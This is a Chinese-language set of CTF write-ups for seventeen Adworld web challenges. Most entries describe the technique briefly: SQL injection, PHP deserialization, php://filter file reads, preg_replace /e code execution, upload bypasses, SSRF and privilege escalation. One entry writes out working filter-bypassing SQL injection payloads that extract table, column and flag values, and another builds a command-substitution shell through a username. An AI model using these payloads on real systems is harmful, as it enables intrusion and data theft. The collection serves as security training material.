玩法介绍
攻防世界答题模块是一款提升个人信息安全水平的益智趣味答题,用户可任意选择题目类型进行答题。
第一题:
Burp拦截后对id进行爆破。
-----------------------------------------------------------------------------
第二题:
Burp拦截后对search参数进行sql注入。
-----------------------------------------------------------------------------
第三题:
扫出了.git,用GitHack把站点扒下,对index.php审查,$file中没有做处理和验证,可以用system()构造payload,
-----------------------------------------------------------------------------
第四题:
下载附件,文本打开,修改后缀为html以html方式打开,发现是乱码,用view-source审查前端元素,用alert替代eval,获得源码,复制代码到浏览器控制台运行,获得flag。
-----------------------------------------------------------------------------
第五题:
注册登陆进去,发现有上传点,传php小马,发现无法突破。
文件名称存在注入,联合查询select,union被过滤,双写可绕过,使用conv进制转换成10禁止,一次获取字串的12位,用substr截取12.
回显数字131277325825392转化为字符串位web_up为部分库名
再把后面的库名用substr(hex())查出来,转化后拼接后发现库名为web_upload
用双写绕过编写exp为:
'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg 得到回显为114784820031327转化为字符串为hello_
'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg 得到回显为112615676665705转化为字符串为flag_i
'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg 回显为126853610566245转化为字符串为s_here 得到表名:hello_flag_is_here
找列:
'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg 回显为115858377367398转化为字符串为i_am_f Exp修改为à)),13,12),16,10)) 回显为7102823转化为字符串为lag 合并列名为i_am_flag
根据库表列名构造语句:
'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg 得到回显为36427215695199 转化为字符串为!!_@m_ '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg 回显为92806431727430 转化为字符串为Th.e_F '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg 回显为560750951 转化为字符串为!lag 拼接为!!_@m_ Th.e_F!lag
-----------------------------------------------------------------------------
第六题:
7kbscan扫描后发现index.phps获得部分源码,对源码进行分析,发现id在代码中进行了url编码,尝试用js函数”a”.charCodeAt进行编码,发现不行,看了下writeup发现浏览器也会对url再进行一次url编码,应该再进行一次编码进行绕过。
?id=%2561dmin
-----------------------------------------------------------------------------
第七题:
题目php反序列,查看源码,我对php反序列不是很懂,发现里面调用了function _wakeup(),百度发现wakeup()是反序列的危险函数,找payload,调试payload。
-----------------------------------------------------------------------------
第八题:
使用%80特殊ascii符号,因为url编码是16进制的,80就是128,ascii允许0-127,使web程序产生报错,根据报错信息得知程序是python的django web写的,使用php curl,@可以访问配置文件。
访问配置文件@/opt/api/api/settings.py,搜索databases获得数据库信息,并访问,在数据库中搜索ctf,获得flag。
-----------------------------------------------------------------------------
第九题:
进入题目,题目唯一有用的线索就是view-source:url后发现一个?Page=index,点击链接发现有异常(算不算小提示??)
根据php伪协议构造出?Page=php://filter/read=convert.base64-encode/resource=index.php
将内容base64解码得出index.php源码,源码中发现函数preg-replace()函数,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
Burp修改xff的值且传参中使用php函数passthru()调用系统命令,然后开始一步步找flag
利用linux的find找出相关路径
Cd进去
Cat查看flag
-----------------------------------------------------------------------------
第十题:
查看源码得知,题目使用unicorn.js,utill.js,secret.js,分析一下发现unicorn.js是一个模拟cpu的库,获得password过程 test_pw(enc_pw(input), get_pw())
发现get_pw()是固定值,那我们就从test_pw()和enc_pw()入手得到正确的input,观察enc_pw()函数发现写入内存指令在于_[o2[a]]
为了得知enc_pw()对内存的操作,模拟enc_pw()构造AMD1() 函数,再将output转换成16进制,
0800a0e10910a0e10a20a0e10030a0e30050a0e30040d0e5010055e30100001a036003e2064084e0064084e2015004e20040c1e5010080e2011081e2013083e2020053e1f2ffffba0000a0e30010a0e30020a0e30030a0e30040a0e30050a0e30060a0e30070a0e30090a0e300a0a0e3
转换成汇编指令
分析得知,enc_ps()对内存的操作如下:
初始化输入密码地址及长度地址->初始化输出结果地址,技术去和奇偶校验寄存器->将输入密码的地址位数据传入中间数据->校验输入密码上一位数据的奇偶性-->奇数:截取计数器二进制最后两位与中间数据相加---------------------------------|
|->中间数据加6->更新奇偶校验寄存器->将中间数据传入结果地址中->输入地址加一结果存储地址加一技术去加一->计数器是否小于输入密码长度?-->否->结束
|->是->将输入密码的地址位数据传入中间数据->…
为了得知test_pw()对内存的操作,,模拟getARM1()函数编写getARM1(),用toHex函数将output转换为16进制,
分析得知,大概判断流程如下:
1.传入输入密码和隐藏密码的基址位数据
2.将输入密码加5
3.判断循环次数奇偶性,若为奇数将传入密码减3并比较传入密码与隐藏密码是否相等,若为偶数直接比较传入密码与隐藏密码是否相等
4.如果传入密码与隐藏密码不相等则相当于直接退出,如果相等,基址加一,计数器加一
5.判断计数器是否小于输出密码的长度,若小于直接回到1若不小于则相当于直接退出
逆向函数不会写,看了下网上的writeup
1.test_pw()的逆向函数:
function findReqR6(){ var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb"); //从get_pw()的到的返回值 var required = new Array(); for(var i = 0 ; i < pw.length; i ++ ){ var a = pw[i]; a = a - 5; //原流程加5 if(i & 1 == 1){ a = a + 3; // 原流程减3 } required[i] = a; } return required; } htos(findRqR6())返回enc_pw(user_input)的字符串转换结果返回值: SWu_N?<VZN=qngnm_hn_g]nQPTRXTWT`
2.构造enc_pw()函数的逆向函数获取正确的UserInput
function reverseEnc(argarray){ var test = 0; var output = new Array(); for(var i = 0 ; i < argarray.length ; i++){ var x = argarray[i]; if(test == 1){ var sub = (i & 3); x = x - sub; //原流程加上相与值. } x = x - 6; //原流程加6 test = (argarray[i] & 1); output[i] = x; } return output; }
htos(reverseEnc(findReqR6()))返回正确的userinput
-----------------------------------------------------------------------------
第十一题:
进去登陆注册发现admin已经注册,bp抓包,分析user的值编码或者加密,发现user的值是{uid:username}的格式进行md5加密的,如下图
对各个功能点进行测试,发现personal功能存在越权操作,我们得知管理员username=admin,假设admin的uid=1,修改uid的值为1和user的值查看相应的信息。
登出,根据刚查看的信息修改管理员密码,然后登录
点击管理模块,报IP错误,发现修改xff的值能进行绕过
访问提示的index.php?module=filemanage&do=???,分析???是啥,发现upload,上传php小马,被拦截,合成图片马,被拦截,gif头截断也被拦截,服务器使nginx1.12.2,不存在解析漏洞
bp抓包,修改content-type参数和修改文件后缀名尝试绕过,发现,alert的内容有所不同,然而还是无法得到什么。
最后尝试用进行绕过,得出flag
-----------------------------------------------------------------------------
第十二题:
进去登陆注册,没有发现常规注入和robots、git、svn等泄露,何种功能点测试一遍,发现在发布的贴子的路径存在文件穿越漏洞,修改post的值可访问泄露的路径
发现源码泄露,发现一处地方有异常,源码解读发现如果用户为admin即可得知$get_flag1的值(可能存在flag2???),且从源码中得知存在users/文件夹,
访问users文件夹,发现里面泄露了用户的cookie
我们找出admin的cookie然后使用cookieManager修改username和cookie的值登录admin
登陆admin
发现flag1就在页尾(只有一半,我们等下去找flag2)
//代码审计搞起来哎!(@_@眼睛都花了)
发现function reply()中,$(username)>$(next_file)这里username写在了next_file(评论文件的内容)中,且得知了post的路径,题目中的wtf文件不是一般的web文件,不过它能被服务器解析,需要$定义参数,根据用户名参数我们可以在users_lookup路径下构造wtf后缀的shell
传不上shell,发现如果路径不加%09,shell会被当做目录解析
构造用户名参数=${find -iname get_flag2},发现用户名被注册
构造用户名${find,-iname,get_flag2},路径加上%09绕过
访问shell,得到一个路径
根据路径构造用户名=$/usr/bin/get_flag2,继续上传shell,访问shell,得到flag2
-----------------------------------------------------------------------------
第十三题:
分析源码,往上推算程序,编写程序,得到flag。
正向思路-->反转$str-->反转后的$str的每个字符ascii码+1再转换成unicode等正常编码-->经过以上操作的$str经过base64编码再反转字符串再经过str_rot13编码-->$miwen
-----------------------------------------------------------------------------
第十四题:
进去发现web中有perl文件,在/cgi-bin/file.pl中存在上传功能,会把上传的文件以文本形式读出来
没啥头绪,看了一下博客和wp,
猜测文件上传的代码为如下图
param()会返回一个列表文件但是只有第一个文件会被放入到下面的file变量中,传入ARGV文件,perl会将文件名读出来
猜测flag在目录下,得到flag
-----------------------------------------------------------------------------
第十五题:
进去,发现view-source:里面有源码
分析源码
发现要先用get传递?id参数使id的浮点数不等于1且最后一位为9,就会变成admin的session
这里我们传递?Id=0%209
在admin的session下,传递con和file参数(con就是文件内容=o=,想了很久看writeup才知道的),且匹配正则成功后传到uploaded文件夹下,
构造参数con=&file=../1.php/.
File使用了/.绕过正则,正则过滤一次后缀,我们再构造一次 . 就好了。
得出flag -----------------------------------------------------------------------------
第十六题:
进入网站,只有一个倒计时js,url猜测,根据标题和题目猜测出zhuanxvlogin,找到登录页
Burp截包,发现传输流量过程有一个bg.jpg背景图,复制链接可以进行下载
Github搜索zhuanxv可以在备忘录中发现web是java写的
已知javaweb的文件分布如->
利用bg.jpg的下载链接进行文件包含找web.xml
发现web是用struts写的,我们继续找struts的配置文件struts.xml
找到一个/WEB-INF/classes/下的 UserloginAction.class DownloadAction.class AdminAction.class文件,利用bg.jpg文件包含链接进行下载,修改后缀名等操作
接下来,我们找webapplication的配置文件applicationContext.xml
发现web的操作数据库层框架Hibernate和数据库用户名和密码都为root,还有UserServiceImplUserDaoImpl两个class文件,进行下载
利用java反编译软件jd-gui查看源码
发现程序没有对name进行正则校验,且程序sql语句没有预编译,存在sql注入
注入需要结合Hibernate的子查询特性进行(构造不出exp,Hibernate没学过,上网找的exp),搞出exp,运行,得到flag
-----------------------------------------------------------------------------
第十七题:
进去index.php发现有个链接跳转下载,发现链接地址有ssrf字符(提示?),下载是一个pdf文件
上目录扫描发现downloads/,secret/路径
按照文件名推算,secret_debug.php应该是secret.php的调试文件,无法访问debug.php
Secret.php是一个注册功能点
利用secret.php的注册链接后半段和ssrf组合链接访问secret_debug.php发现404,程序把请求当作是pdf访问请求,利用urlencode把&编码一下可以绕过。
用linux的curl访问
程序出错,发现sql注入
编写exp